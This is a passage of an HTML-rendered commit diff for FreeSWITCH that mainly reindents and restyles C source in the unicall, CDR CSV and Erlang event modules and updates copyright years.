- uc_t *uc = (uc_t *) obj;
</del><ins>+        int ret;
+        switch_event_t *s_event;
+        uc_t *uc = (uc_t *) obj;
</ins><span class="cx">
</span><span class="cx"> #if 0
</span><del>- switch_mutex_init(&chanmap.mutex, SWITCH_MUTEX_NESTED, module_pool);
</del><ins>+        switch_mutex_init(&chanmap.mutex, SWITCH_MUTEX_NESTED, module_pool);
</ins><span class="cx"> #endif
</span><span class="cx">
</span><del>- if (switch_event_create(&s_event, SWITCH_EVENT_PUBLISH) == SWITCH_STATUS_SUCCESS)
- {
- switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "service", "_uc._tcp");
- switch_event_fire(&s_event);
- }
</del><ins>+        if (switch_event_create(&s_event, SWITCH_EVENT_PUBLISH) == SWITCH_STATUS_SUCCESS) {
+                switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "service", "_uc._tcp");
+                switch_event_fire(&s_event);
+        }
</ins><span class="cx">
</span><del>- uc_get_device_handle(uc, 0, &fd);
- if ((ret = uc_call_control(uc, UC_OP_UNBLOCK, 0, (void *) (intptr_t) -1)) < 0)
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Unblock failed - %s\n", uc_ret_to_str(ret));
- /*endif*/
- FD_ZERO(&read);
- FD_ZERO(&write);
- FD_ZERO(&oob);
-        for (;;)
- {
</del><ins>+        uc_get_device_handle(uc, 0, &fd);
+        if ((ret = uc_call_control(uc, UC_OP_UNBLOCK, 0, (void *) (intptr_t) - 1)) < 0)
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Unblock failed - %s\n", uc_ret_to_str(ret));
+        /*endif */
+        FD_ZERO(&read);
+        FD_ZERO(&write);
+        FD_ZERO(&oob);
+        for (;;) {
</ins><span class="cx">                 FD_SET(fd, &read);
</span><span class="cx">                 //FD_SET(fd, &write);
</span><span class="cx">                 //FD_SET(fd, &oob);
</span><span class="cx">
</span><del>-                if (select(fd + 1, &read, NULL, NULL, NULL))
- {
-                 if (FD_ISSET(fd, &read))
- {
- uc_check_event(uc);
- uc_schedule_run(uc);
</del><ins>+                if (select(fd + 1, &read, NULL, NULL, NULL)) {
+                        if (FD_ISSET(fd, &read)) {
+                                uc_check_event(uc);
+                                uc_schedule_run(uc);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- uc_delete(uc);
- return NULL;
</del><ins>+        uc_delete(uc);
+        return NULL;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void unicall_thread_launch(uc_t *uc)
</span><span class="cx"> {
</span><del>- switch_thread_t *thread;
- switch_threadattr_t *thd_attr = NULL;
</del><ins>+        switch_thread_t *thread;
+        switch_threadattr_t *thd_attr = NULL;
</ins><span class="cx">
</span><del>- switch_threadattr_create(&thd_attr, module_pool);
- switch_threadattr_detach_set(thd_attr, 1);
- switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
- switch_thread_create(&thread, thd_attr, unicall_thread_run, uc, module_pool);
</del><ins>+        switch_threadattr_create(&thd_attr, module_pool);
+        switch_threadattr_detach_set(thd_attr, 1);
+        switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+        switch_thread_create(&thread, thd_attr, unicall_thread_run, uc, module_pool);
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-switch_state_handler_table_t unicall_state_handlers =
-{
- /*.on_init */ unicall_on_init,
- /*.on_routing */ unicall_on_routing,
- /*.on_execute */ unicall_on_execute,
- /*.on_hangup */ unicall_on_hangup,
- /*.on_exchange_media */ unicall_on_exchange_media,
- /*.on_soft_execute */ unicall_on_soft_execute,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ unicall_on_destroy
-
</del><ins>+switch_state_handler_table_t unicall_state_handlers = {
+        /*.on_init */ unicall_on_init,
+        /*.on_routing */ unicall_on_routing,
+        /*.on_execute */ unicall_on_execute,
+        /*.on_hangup */ unicall_on_hangup,
+        /*.on_exchange_media */ unicall_on_exchange_media,
+        /*.on_soft_execute */ unicall_on_soft_execute,
+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ unicall_on_destroy
</ins><span class="cx"> };
</span><span class="cx">
</span><del>-switch_io_routines_t unicall_io_routines =
-{
- /*.outgoing_channel */ unicall_outgoing_channel,
- /*.read_frame */ unicall_read_frame,
- /*.write_frame */ unicall_write_frame,
- /*.kill_channel */ unicall_kill_channel,
- /*.send_dtmf */ unicall_send_dtmf,
- /*.receive_message */ unicall_receive_message,
- /*.receive_event */ unicall_receive_event
</del><ins>+switch_io_routines_t unicall_io_routines = {
+        /*.outgoing_channel */ unicall_outgoing_channel,
+        /*.read_frame */ unicall_read_frame,
+        /*.write_frame */ unicall_write_frame,
+        /*.kill_channel */ unicall_kill_channel,
+        /*.send_dtmf */ unicall_send_dtmf,
+        /*.receive_message */ unicall_receive_message,
+        /*.receive_event */ unicall_receive_event
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_status_t config_unicall(int reload)
</span><span class="cx"> {
</span><del>- const char *cf = "unicall.conf";
- switch_xml_t cfg;
- switch_xml_t xml;
- switch_xml_t settings;
- switch_xml_t param;
- switch_xml_t spans;
- switch_xml_t span;
- int current_span = 0;
- int min_span = 0;
- int max_span = 0;
- int logging_level;
- int i;
- char *id;
- span_data_t *sp;
</del><ins>+        const char *cf = "unicall.conf";
+        switch_xml_t cfg;
+        switch_xml_t xml;
+        switch_xml_t settings;
+        switch_xml_t param;
+        switch_xml_t spans;
+        switch_xml_t span;
+        int current_span = 0;
+        int min_span = 0;
+        int max_span = 0;
+        int logging_level;
+        int i;
+        char *id;
+        span_data_t *sp;
</ins><span class="cx">
</span><del>- if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL)))
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Opening of %s failed\n", cf);
- return SWITCH_STATUS_TERM;
- }
</del><ins>+        if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Opening of %s failed\n", cf);
+                return SWITCH_STATUS_TERM;
+        }
</ins><span class="cx">
</span><del>- if ((settings = switch_xml_child(cfg, "settings")))
- {
- for (param = switch_xml_child(settings, "param"); param; param = param->next)
- {
- char *var = (char *) switch_xml_attr_soft(param, "name");
- char *val = (char *) switch_xml_attr_soft(param, "value");
</del><ins>+        if ((settings = switch_xml_child(cfg, "settings"))) {
+                for (param = switch_xml_child(settings, "param"); param; param = param->next) {
+                        char *var = (char *) switch_xml_attr_soft(param, "name");
+                        char *val = (char *) switch_xml_attr_soft(param, "value");
</ins><span class="cx">
</span><del>- if (!strcmp(var, "debug"))
- {
- globals.debug = atoi(val);
- }
- else if (!strcmp(var, "ms-per-frame"))
- {
- globals.frame_duration = atoi(val);
- }
- else if (!strcmp(var, "dtmf-on"))
- {
- globals.dtmf_on = atoi(val);
- }
- else if (!strcmp(var, "dtmf-off"))
- {
- globals.dtmf_off = atoi(val);
- }
- else if (!strcmp(var, "dialplan"))
- {
- set_global_dialplan(val);
- }
- else if (!strcmp(var, "suppress-dtmf-tone"))
- {
- globals.suppress_dtmf_tone = switch_true(val);
- }
- else if (!strcmp(var, "ignore-dtmf-tone"))
- {
- globals.ignore_dtmf_tone = switch_true(val);
- }
- }
- }
- spans = switch_xml_child(cfg, "spans");
- id = NULL;
- for (span = switch_xml_child(spans, "span"); span; span = span->next)
- {
- id = (char *) switch_xml_attr(span, "id");
</del><ins>+                        if (!strcmp(var, "debug")) {
+                                globals.debug = atoi(val);
+                        } else if (!strcmp(var, "ms-per-frame")) {
+                                globals.frame_duration = atoi(val);
+                        } else if (!strcmp(var, "dtmf-on")) {
+                                globals.dtmf_on = atoi(val);
+                        } else if (!strcmp(var, "dtmf-off")) {
+                                globals.dtmf_off = atoi(val);
+                        } else if (!strcmp(var, "dialplan")) {
+                                set_global_dialplan(val);
+                        } else if (!strcmp(var, "suppress-dtmf-tone")) {
+                                globals.suppress_dtmf_tone = switch_true(val);
+                        } else if (!strcmp(var, "ignore-dtmf-tone")) {
+                                globals.ignore_dtmf_tone = switch_true(val);
+                        }
+                }
+        }
+        spans = switch_xml_child(cfg, "spans");
+        id = NULL;
+        for (span = switch_xml_child(spans, "span"); span; span = span->next) {
+                id = (char *) switch_xml_attr(span, "id");
</ins><span class="cx">
</span><del>- current_span = 0;
</del><ins>+                current_span = 0;
</ins><span class="cx">
</span><del>- if (id)
- {
- char *p;
</del><ins>+                if (id) {
+                        char *p;
</ins><span class="cx">
</span><del>- min_span = atoi(id);
- if ((p = strchr(id, '-')))
- {
- p++;
- max_span = atoi(p);
- }
- else
- {
- max_span = min_span;
- }
- if (min_span < 1 || max_span < min_span)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid Span Config! [%s]\n", id);
- continue;
- }
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Missing SPAN ID!\n");
- continue;
- }
- for (i = min_span; i <= max_span; i++)
- {
- current_span = i;
</del><ins>+                        min_span = atoi(id);
+                        if ((p = strchr(id, '-'))) {
+                                p++;
+                                max_span = atoi(p);
+                        } else {
+                                max_span = min_span;
+                        }
+                        if (min_span < 1 || max_span < min_span) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid Span Config! [%s]\n", id);
+                                continue;
+                        }
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Missing SPAN ID!\n");
+                        continue;
+                }
+                for (i = min_span; i <= max_span; i++) {
+                        current_span = i;
</ins><span class="cx">
</span><del>- if (current_span <= 0 || current_span > MAX_SPANS)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid SPAN %d!\n", current_span);
- current_span = 0;
- continue;
- }
- if (span_data[current_span] == NULL)
- {
- if ((span_data[current_span] = switch_core_alloc(module_pool, sizeof(*span_data[current_span]))) == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "MEMORY ERROR\n");
- break;
- }
- sp = span_data[current_span];
- memset(sp, 0, sizeof(*sp));
- sp->span = current_span;
- sp->protocol_class = NULL;
- sp->protocol_variant = NULL;
- sp->protocol_end = UC_MODE_CPE;
- sp->outgoing_ok = TRUE;
- }
- sp = span_data[current_span];
- sp->id = strdup(id);
- for (param = switch_xml_child(span, "param"); param; param = param->next)
- {
- char *var = (char *) switch_xml_attr_soft(param, "name");
- char *val = (char *) switch_xml_attr_soft(param, "value");
</del><ins>+                        if (current_span <= 0 || current_span > MAX_SPANS) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid SPAN %d!\n", current_span);
+                                current_span = 0;
+                                continue;
+                        }
+                        if (span_data[current_span] == NULL) {
+                                if ((span_data[current_span] = switch_core_alloc(module_pool, sizeof(*span_data[current_span]))) == NULL) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "MEMORY ERROR\n");
+                                        break;
+                                }
+                                sp = span_data[current_span];
+                                memset(sp, 0, sizeof(*sp));
+                                sp->span = current_span;
+                                sp->protocol_class = NULL;
+                                sp->protocol_variant = NULL;
+                                sp->protocol_end = UC_MODE_CPE;
+                                sp->outgoing_ok = TRUE;
+                        }
+                        sp = span_data[current_span];
+                        sp->id = strdup(id);
+                        for (param = switch_xml_child(span, "param"); param; param = param->next) {
+                                char *var = (char *) switch_xml_attr_soft(param, "name");
+                                char *val = (char *) switch_xml_attr_soft(param, "value");
</ins><span class="cx">
</span><del>- if (strcmp(var, "protocol-class") == 0)
- {
- sp->protocol_class = strdup(val);
- }
- else if (strcmp(var, "protocol-variant") == 0)
- {
- sp->protocol_variant = strdup(val);
- }
- else if (strcmp(var, "protocol-end") == 0)
- {
- if (strcasecmp(val, "co") == 0)
- sp->protocol_end = UC_MODE_CO;
- else if (strcasecmp(val, "cpe") == 0)
- sp->protocol_end = UC_MODE_CPE;
- else if (strcasecmp(val, "peer") == 0)
- sp->protocol_end = UC_MODE_PEER;
- else
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "UNKNOWN protocol-end TYPE %s\n", val);
- }
- else if (strcmp(var, "outgoing-allowed") == 0)
- {
- sp->outgoing_ok = switch_true(var);
- }
- else if (strcmp(var, "dialplan") == 0)
- {
- sp->dialplan = strdup(val);
- }
- else if (strcmp(var, "context") == 0)
- {
- sp->context = strdup(val);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "UNKNOWN PARAMETER %s\n", var);
- }
- }
- }
- }
- switch_xml_free(xml);
</del><ins>+                                if (strcmp(var, "protocol-class") == 0) {
+                                        sp->protocol_class = strdup(val);
+                                } else if (strcmp(var, "protocol-variant") == 0) {
+                                        sp->protocol_variant = strdup(val);
+                                } else if (strcmp(var, "protocol-end") == 0) {
+                                        if (strcasecmp(val, "co") == 0)
+                                                sp->protocol_end = UC_MODE_CO;
+                                        else if (strcasecmp(val, "cpe") == 0)
+                                                sp->protocol_end = UC_MODE_CPE;
+                                        else if (strcasecmp(val, "peer") == 0)
+                                                sp->protocol_end = UC_MODE_PEER;
+                                        else
+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "UNKNOWN protocol-end TYPE %s\n", val);
+                                } else if (strcmp(var, "outgoing-allowed") == 0) {
+                                        sp->outgoing_ok = switch_true(var);
+                                } else if (strcmp(var, "dialplan") == 0) {
+                                        sp->dialplan = strdup(val);
+                                } else if (strcmp(var, "context") == 0) {
+                                        sp->context = strdup(val);
+                                } else {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "UNKNOWN PARAMETER %s\n", var);
+                                }
+                        }
+                }
+        }
+        switch_xml_free(xml);
</ins><span class="cx">
</span><del>- if (globals.dialplan == NULL)
- set_global_dialplan("XML");
</del><ins>+        if (globals.dialplan == NULL)
+                set_global_dialplan("XML");
</ins><span class="cx">
</span><del>- globals.configured_spans = 0;
- for (current_span = 1; current_span < MAX_SPANS; current_span++)
- {
- if (span_data[current_span])
- {
- sp = span_data[current_span];
- if ((sp->uc = uc_create(sp->id,
- sp->protocol_class,
- sp->protocol_variant,
- sp->protocol_end,
- sp->outgoing_ok)) == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot launch span %d\n", current_span);
- return SWITCH_STATUS_FALSE;
- }
- uc_get_device_handle(sp->uc, 0, &sp->fd);
- uc_set_signaling_callback(sp->uc, handle_uc_event, (void *) (intptr_t) current_span);
- logging_level = UC_LOG_SEVERITY_MASK | UC_LOG_SHOW_TAG | UC_LOG_SHOW_PROTOCOL;
- uc_set_logging(sp->uc, logging_level, 1, sp->id);
</del><ins>+        globals.configured_spans = 0;
+        for (current_span = 1; current_span < MAX_SPANS; current_span++) {
+                if (span_data[current_span]) {
+                        sp = span_data[current_span];
+                        if ((sp->uc = uc_create(sp->id, sp->protocol_class, sp->protocol_variant, sp->protocol_end, sp->outgoing_ok)) == NULL) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot launch span %d\n", current_span);
+                                return SWITCH_STATUS_FALSE;
+                        }
+                        uc_get_device_handle(sp->uc, 0, &sp->fd);
+                        uc_set_signaling_callback(sp->uc, handle_uc_event, (void *) (intptr_t) current_span);
+                        logging_level = UC_LOG_SEVERITY_MASK | UC_LOG_SHOW_TAG | UC_LOG_SHOW_PROTOCOL;
+                        uc_set_logging(sp->uc, logging_level, 1, sp->id);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Launched span %d\n", current_span);
- unicall_thread_launch(sp->uc);
- switch_mutex_lock(globals.hash_mutex);
- globals.configured_spans++;
- switch_mutex_unlock(globals.hash_mutex);
- }
- }
- return SWITCH_STATUS_SUCCESS;
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Launched span %d\n", current_span);
+                        unicall_thread_launch(sp->uc);
+                        switch_mutex_lock(globals.hash_mutex);
+                        globals.configured_spans++;
+                        switch_mutex_unlock(globals.hash_mutex);
+                }
+        }
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_unicall_load)
</span><span class="cx"> {
</span><del>- int logging_level;
- switch_status_t status = SWITCH_STATUS_SUCCESS;
</del><ins>+        int logging_level;
+        switch_status_t status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">
</span><del>- uc_start();
- uc_set_error_handler(unicall_report);
- uc_set_message_handler(unicall_message);
- logging_level = UC_LOG_SEVERITY_MASK;
- uc_set_logging(NULL, logging_level, 1, NULL);
</del><ins>+        uc_start();
+        uc_set_error_handler(unicall_report);
+        uc_set_message_handler(unicall_message);
+        logging_level = UC_LOG_SEVERITY_MASK;
+        uc_set_logging(NULL, logging_level, 1, NULL);
</ins><span class="cx">
</span><span class="cx">         memset(span_data, 0, sizeof(span_data));
</span><span class="cx">
</span><del>- module_pool = pool;
</del><ins>+        module_pool = pool;
</ins><span class="cx">
</span><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">         switch_core_hash_init(&globals.call_hash, module_pool);
</span><span class="lines">@@ -1979,17 +1874,17 @@
</span><span class="cx">         switch_mutex_init(&globals.hash_mutex, SWITCH_MUTEX_NESTED, module_pool);
</span><span class="cx">         switch_mutex_init(&globals.channel_mutex, SWITCH_MUTEX_NESTED, module_pool);
</span><span class="cx">
</span><del>- if ((status = config_unicall(FALSE)) != SWITCH_STATUS_SUCCESS)
- return status;
</del><ins>+        if ((status = config_unicall(FALSE)) != SWITCH_STATUS_SUCCESS)
+                return status;
</ins><span class="cx">
</span><del>- *module_interface = switch_loadable_module_create_module_interface(pool, modname);
- unicall_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
- unicall_endpoint_interface->interface_name = "unicall";
- unicall_endpoint_interface->io_routines = &unicall_io_routines;
- unicall_endpoint_interface->state_handler = &unicall_state_handlers;
</del><ins>+        *module_interface = switch_loadable_module_create_module_interface(pool, modname);
+        unicall_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
+        unicall_endpoint_interface->interface_name = "unicall";
+        unicall_endpoint_interface->io_routines = &unicall_io_routines;
+        unicall_endpoint_interface->state_handler = &unicall_state_handlers;
</ins><span class="cx">
</span><del>- /* Indicate that the module should continue to be loaded */
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        /* Indicate that the module should continue to be loaded */
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -2001,10 +1896,10 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_unicall_shutdown)
</span><span class="cx"> {
</span><del>- int x = 0;
</del><ins>+        int x = 0;
</ins><span class="cx">
</span><del>- for (x = 0, running = -1; running && x <= 100; x++)
- switch_yield(20000);
- uc_end();
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        for (x = 0, running = -1; running && x <= 100; x++)
+                switch_yield(20000);
+        uc_end();
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_cdr_csvmod_cdr_csvc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -161,7 +161,7 @@
</span><span class="cx">                 do_rotate(fd);
</span><span class="cx">                 switch_yield(250000);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (bytes_in > 0) {
</span><span class="cx">                 fd->bytes += bytes_in;
</span><span class="cx">         }
</span><span class="lines">@@ -215,15 +215,16 @@
</span><span class="cx">                         free(buf);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         g_template_str = (const char *) switch_core_hash_find(globals.template_hash, globals.default_template);
</span><span class="cx">
</span><span class="cx">         if ((accountcode = switch_channel_get_variable(channel, "ACCOUNTCODE"))) {
</span><span class="cx">                 a_template_str = (const char *) switch_core_hash_find(globals.template_hash, accountcode);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!g_template_str) {
</span><del>-                g_template_str = "\"${accountcode}\",\"${caller_id_number}\",\"${destination_number}\",\"${context}\",\"${caller_id}\",\"${channel_name}\",\"${bridge_channel}\",\"${last_app}\",\"${last_arg}\",\"${start_stamp}\",\"${answer_stamp}\",\"${end_stamp}\",\"${duration}\",\"${billsec}\",\"${hangup_cause}\",\"${amaflags}\",\"${uuid}\",\"${userfield}\";";
</del><ins>+                g_template_str =
+                        "\"${accountcode}\",\"${caller_id_number}\",\"${destination_number}\",\"${context}\",\"${caller_id}\",\"${channel_name}\",\"${bridge_channel}\",\"${last_app}\",\"${last_arg}\",\"${start_stamp}\",\"${answer_stamp}\",\"${end_stamp}\",\"${duration}\",\"${billsec}\",\"${hangup_cause}\",\"${amaflags}\",\"${uuid}\",\"${userfield}\";";
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!a_template_str) {
</span><span class="lines">@@ -295,11 +296,11 @@
</span><span class="cx">         /*.on_hangup */ NULL,
</span><span class="cx">         /*.on_exchange_media */ NULL,
</span><span class="cx">         /*.on_soft_execute */ NULL,
</span><del>-        /*.on_consume_media*/ NULL,
-        /*.on_hibernate*/ NULL,
-        /*.on_reset*/ NULL,
-        /*.on_park*/ NULL,
-        /*.on_reporting*/ my_on_reporting
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ my_on_reporting
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -315,11 +316,11 @@
</span><span class="cx">         switch_core_hash_init(&globals.template_hash, pool);
</span><span class="cx">
</span><span class="cx">         globals.pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_hash_insert(globals.template_hash, "default", default_template);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding default template.\n");
</span><span class="cx">         globals.legs = CDR_LEG_A;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
</span><span class="cx">
</span><span class="cx">                 if ((settings = switch_xml_child(cfg, "settings"))) {
</span><span class="lines">@@ -344,9 +345,11 @@
</span><span class="cx">                                         globals.rotate = switch_true(val);
</span><span class="cx">                                 } else if (!strcasecmp(var, "default-template")) {
</span><span class="cx">                                         globals.default_template = switch_core_strdup(pool, val);
</span><del>-                                } else if (!strcasecmp(var, "master-file-only")) {
-                                        globals.masterfileonly = switch_true(val);
-                                }
</del><ins>+                                } else if (!strcasecmp(var, "master-file-only")) {
+                                        
+globals.masterfileonly = switch_true(val);
+                                
+}
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -413,7 +416,7 @@
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cdr_csv_shutdown)
</span><span class="cx"> {
</span><span class="cx">
</span><del>-        globals.shutdown = 1;        
</del><ins>+        globals.shutdown = 1;
</ins><span class="cx">         switch_event_unbind_callback(event_handler);
</span><span class="cx">         switch_core_remove_state_handler(&state_handlers);
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_erlang_eventei_helpersc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -54,23 +54,24 @@
</span><span class="cx"> } while (0)
</span><span class="cx">
</span><span class="cx">
</span><del>-void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to) {
</del><ins>+void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to)
+{
</ins><span class="cx">         char msgbuf[2048];
</span><span class="cx">         char *s;
</span><span class="cx">         int index = 0;
</span><span class="cx">         int ret;
</span><span class="cx">
</span><del>-        index = 5; /* max sizes: */
-        ei_encode_version(msgbuf,&index); /* 1 */
-        ei_encode_tuple_header(msgbuf,&index,3);
-        ei_encode_long(msgbuf,&index,ERL_LINK);
-        ei_encode_pid(msgbuf,&index,from); /* 268 */
-        ei_encode_pid(msgbuf,&index,to); /* 268 */
</del><ins>+        index = 5;                                        /* max sizes: */
+        ei_encode_version(msgbuf, &index);        /* 1 */
+        ei_encode_tuple_header(msgbuf, &index, 3);
+        ei_encode_long(msgbuf, &index, ERL_LINK);
+        ei_encode_pid(msgbuf, &index, from);        /* 268 */
+        ei_encode_pid(msgbuf, &index, to);        /* 268 */
</ins><span class="cx">
</span><span class="cx">         /* 5 byte header missing */
</span><span class="cx">         s = msgbuf;
</span><del>-        put32be(s, index - 4); /* 4 */
-        put8(s, ERL_PASS_THROUGH); /* 1 */
</del><ins>+        put32be(s, index - 4);                /* 4 */
+        put8(s, ERL_PASS_THROUGH);        /* 1 */
</ins><span class="cx">         /* sum: 542 */
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(listener->sock_mutex);
</span><span class="lines">@@ -82,7 +83,7 @@
</span><span class="cx">         switch_mutex_unlock(listener->sock_mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
</del><ins>+void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event)
</ins><span class="cx"> {
</span><span class="cx">         int i;
</span><span class="cx">         char *uuid = switch_event_get_header(event, "unique-id");
</span><span class="lines">@@ -94,7 +95,7 @@
</span><span class="cx">         if (event->body)
</span><span class="cx">                 i++;
</span><span class="cx">
</span><del>-        ei_x_encode_list_header(ebuf, i+1);
</del><ins>+        ei_x_encode_list_header(ebuf, i + 1);
</ins><span class="cx">
</span><span class="cx">         if (uuid) {
</span><span class="cx">                 _ei_x_encode_string(ebuf, switch_event_get_header(event, "unique-id"));
</span><span class="lines">@@ -118,7 +119,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag)
</del><ins>+void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag)
</ins><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         ei_x_encode_tuple_header(ebuf, 2);
</span><span class="lines">@@ -130,7 +131,7 @@
</span><span class="cx"> calls module:function(Ref). The response comes back as
</span><span class="cx"> {rex, {Ref, Pid}}
</span><span class="cx"> */
</span><del>-int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function)
</del><ins>+int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function)
</ins><span class="cx"> {
</span><span class="cx">         ei_x_buff buf;
</span><span class="cx">         ei_x_new(&buf);
</span><span class="lines">@@ -145,7 +146,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* function to spawn a process on a remote node */
</span><del>-int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv)
</del><ins>+int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv)
</ins><span class="cx"> {
</span><span class="cx">         int i;
</span><span class="cx">         ei_x_buff buf;
